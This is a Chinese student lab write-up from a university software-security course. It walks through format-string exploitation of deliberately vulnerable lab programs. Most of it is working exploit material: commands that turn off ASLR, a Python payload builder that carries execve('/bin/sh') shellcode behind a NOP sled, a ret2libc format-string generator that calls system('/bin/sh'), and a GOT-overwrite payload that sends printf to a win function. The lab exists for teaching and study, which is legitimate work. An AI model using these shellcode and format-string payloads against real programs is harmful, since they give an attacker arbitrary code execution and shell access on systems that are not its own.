HUST Information System Security Lab1-Software Security
信息系统安全实验1记录
prog1 修改变量值
攻击方法:利用 printf 函数漏洞,使用 %.nx 来输出 n 位长度的字符,然后使用 %n 将之前打印的字符长度写入指定地址。
首先,配置环境并编译程序
1
2
3
4
5
6禁用 ASLR
sudo sysctl -w kernel.randomize_va_space=0
将 prog1.c 编译为 32 位,需要在源文件中将 fread 修改为 fgets
记得不要使用 -fno-stack-protector 选项
gcc -z execstack -o prog1 prog1.c执行程序并查看布局
1
2%08x | %08x | %08x | %08x | %08x
.\prog1
构造格式字符串以修改为 0x66887799
1
sh exploit_prog1_1.sh bfffed54
构造格式字符串以修改为 0xdeadbeef
1
sh exploit_prog1_2.sh bfffed54
prog2 shellcode 注入,获取 shell
攻击方法:修改函数返回地址为注入的 shellcode 地址。注意
shellcode 在栈上执行,因此 启用栈执行。
启用栈保护和栈执行
1
gcc -fstack-protector -z execstack prog2.c -o prog2
查看相关地址,需要将返回地址覆盖为 shellcode 地址
1
echo -e "%08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x" > input2
还需要确认需要多少个 %.8x 来将指针指向 str 数组的开头
我们的目标是将返回地址覆盖为数组中的一个位置,然后通过 sled 指令获取 shell。在 exploit.py 中填写相应的参数。为了命中 sled 指令,我们需要添加一个数字,需要尝试几次,基本上 80 就足够了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47#!/usr/bin/python3
import sys
# 这个 shellcode 创建一个本地 shell
local_shellcode= (
"\x31\xc0\x31\xdb\xb0\xd5\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x00"
).encode('latin-1')
N = 200
# 用 NOP 填充内容
content = bytearray(0x90 for i in range(N))
# 将代码放在末尾
start = N - len(local_shellcode)
content[start:] = local_shellcode
# 将地址放在开头
addr1 = 0xffffd0ae
addr2 = 0xffffd0ac
content[0:4] = (addr1).to_bytes(4,byteorder='little')
content[4:8] = ("@@@@").encode('latin-1')
content[8:12] = (addr2).to_bytes(4,byteorder='little')
# 计算 C 的值
C = 15
# 供调查用途(试错)
#s = "%.8x_"*C + "%n" + "\n"
# 构造格式字符串
small = 0xffff - 12 - C*8
large = 0x1d0c4 - 0xffff + 75
s = "%.8x"*C + "%." + str(small) + "x" + "%hn" \
+ "%." + str(large) + "x" + "%hn"
fmt = (s).encode('latin-1')
content[12:12+len(fmt)] = fmt
print(content)
# 将内容写入 badfile
file = open("input2", "wb")
file.write(content)
file.close()
prog2 ret2libc 注入,获取 shell
攻击方法:这需要启用栈不可执行保护,因此我们需要通过 ret2libc
绕过它以获取 shell,即使用 system("/bin/sh")
启用 Stack Guard 和栈不可执行保护,编译命令如下:
1
gcc -fstack-protector -z noexecstack prog2.c -o prog2
首先暂时运行程序
接下来,需要找到相应的地址并构造控制流劫持前的栈细节。具体来说,需要找到
system()函数和字符串/bin/sh的地址。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19方法 1 -- 通过 gdb 直接获取
gdb -q prog2
b printf
run
info proc map
searchmem "/bin/sh" 0xb7d6a000 0xb7f1d000 # 在堆上从 libc 起始地址到结束地址搜索字符串
p system
p exit
方法 2 -- 通过计算获取(.so 基地址 + 偏移地址)
ldd ./prog2
readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "system"
readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "setuid"
readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "exit"
ropper --file /lib32/libc.so.6 --string "/bin/sh"
gdb -q prog2
b printf
run
info proc map第一种方法结果:

第二种方法结果:
两种方法计算出的结果相同:system: 0xb7da4da0, exit: 0xb7d989d0, “/bin/sh”: 0xb7ec582b
构造 shellcode,将返回地址覆盖为 system 函数地址,返回地址+4 为 exit 函数地址,返回地址+8 为 system 函数参数覆盖为 /bin/sh 地址。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67#!/usr/bin/python3
import sys
import argparse
def generate_payload(ret_addr, sh_str_addr, exit_addr, system_addr):
N = 200
addr = ret_addr
payload = (addr + 10).to_bytes(4, byteorder='little') # /bin/sh 字符串地址的高 2 字节
payload += ("@@@@").encode('latin-1')
payload += (addr + 8).to_bytes(4, byteorder='little') # /bin/sh 字符串地址的低 2 字节
payload += ("@@@@").encode('latin-1')
payload += (addr + 6).to_bytes(4, byteorder='little') # exit 地址的高 2 字节
payload += ("@@@@").encode('latin-1')
payload += (addr + 4).to_bytes(4, byteorder='little') # exit 地址的低 2 字节
payload += ("@@@@").encode('latin-1')
payload += (addr + 2).to_bytes(4, byteorder='little') # system 地址的高 2 字节
payload += ("@@@@").encode('latin-1')
payload += (addr).to_bytes(4, byteorder='little') # system 地址的低 2 字节
sh_str_addr = int(sh_str_addr, 16)
exit_addr = int(exit_addr, 16)
system_addr = int(system_addr, 16)
# 构造格式字符串
offsets = [
(sh_str_addr >> 16) - len(payload),
(sh_str_addr & 0xffff) - (sh_str_addr >> 16),
(exit_addr >> 16) - (sh_str_addr & 0xffff),
(exit_addr & 0xffff) - (exit_addr >> 16),
(system_addr >> 16) - (exit_addr & 0xffff),
(system_addr & 0xffff) - (system_addr >> 16)
]
# 如有必要,调整偏移量
for i in range(1, len(offsets)):
if offsets[i] <= 0:
offsets[i] += 0x10000
s = "%." + str(offsets[0]) + "x" + "%17$hn" + \
"%." + str(offsets[1]) + "x" + "%19$hn" + \
"%." + str(offsets[2]) + "x" + "%21$hn" + \
"%." + str(offsets[3]) + "x" + "%23$hn" + \
"%." + str(offsets[4]) + "x" + "%25$hn" + \
"%." + str(offsets[5]) + "x" + "%27$hn" + "\n"
payload += (s).encode('latin-1')
payload += bytearray(0x90 for _ in range(N - len(payload)))
return payload
def main():
parser = argparse.ArgumentParser(description="生成格式字符串漏洞的有效负载。")
parser.add_argument('ret_address', type=lambda x: int(x, 16), help="返回地址(十六进制)")
parser.add_argument('sh_str_address', type=str, help="/bin/sh 字符串地址(十六进制)")
parser.add_argument('exit_address', type=str, help="exit 函数地址(十六进制)")
parser.add_argument('system_address', type=str, help="system 函数地址(十六进制)")
args = parser.parse_args()
payload = generate_payload(args.ret_address, args.sh_str_address, args.exit_address, args.system_address)
# 将内容写入 input2
with open("input2", "wb") as f:
f.write(payload)
if __name__ == "__main__":
main()1
sh exploit_prog2_2.sh bfffeccc b7ec582b b7d989d0 b7da4da0
prog2 GOT 表劫持,调用 win 函数
攻击方法:使用 printf 函数将 GOT 表中 printf 的偏移修改为 win 函数地址,使得 fmtstf 函数中的最后一个 printf 执行 win 函数。
查看 GOT 表,找到 printf 函数地址为 0x0804a00c
1
objdump -R prog2
查看 PLT 表,看到 win 函数地址为 0x0804850b
1
objdump -d prog2 | grep -A 18 win
开始攻击
1
2启用地址随机化
sudo sysctl -w kernel.randomize_va_space=21
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42#!/usr/bin/python3
import sys
import argparse
def generate_payload(win_addr, printf_addr):
addr = printf_addr
payload = (addr + 2).to_bytes(4, byteorder='little') # win 函数地址的高 2 字节
payload += ("@@@@").encode('latin-1')
payload += (addr).to_bytes(4, byteorder='little') # win 函数地址的低 2 字节
win_addr = int(win_addr, 16)
# 计算格式字符串的偏移值
offset1 = (win_addr >> 16) - 3*4 - 8*15
offset2 = (win_addr & 0xffff) - (win_addr >> 16)
if offset2 < 0:
offset2 += 0x10000
s = "%.8x" * 15 + \
"%." + str(offset1) + "x" + "%hn" + \
"%." + str(offset2) + "x" + "%hn" + "\n"
payload += (s).encode('latin-1')
return payload
def main():
parser = argparse.ArgumentParser(description="生成格式字符串漏洞的有效负载。")
parser.add_argument('win_address', type=str, help="win 函数地址(十六进制)")
parser.add_argument('printf_address', type=lambda x: int(x, 16), help="printf 函数地址(十六进制)")
args = parser.parse_args()
payload = generate_payload(args.win_address, args.printf_address)
# 将内容写入 input2
with open("input2", "wb") as f:
f.write(payload)
if __name__ == "__main__":
main()1
sh exploit_prog2_3.sh 0804850b 0804a00c







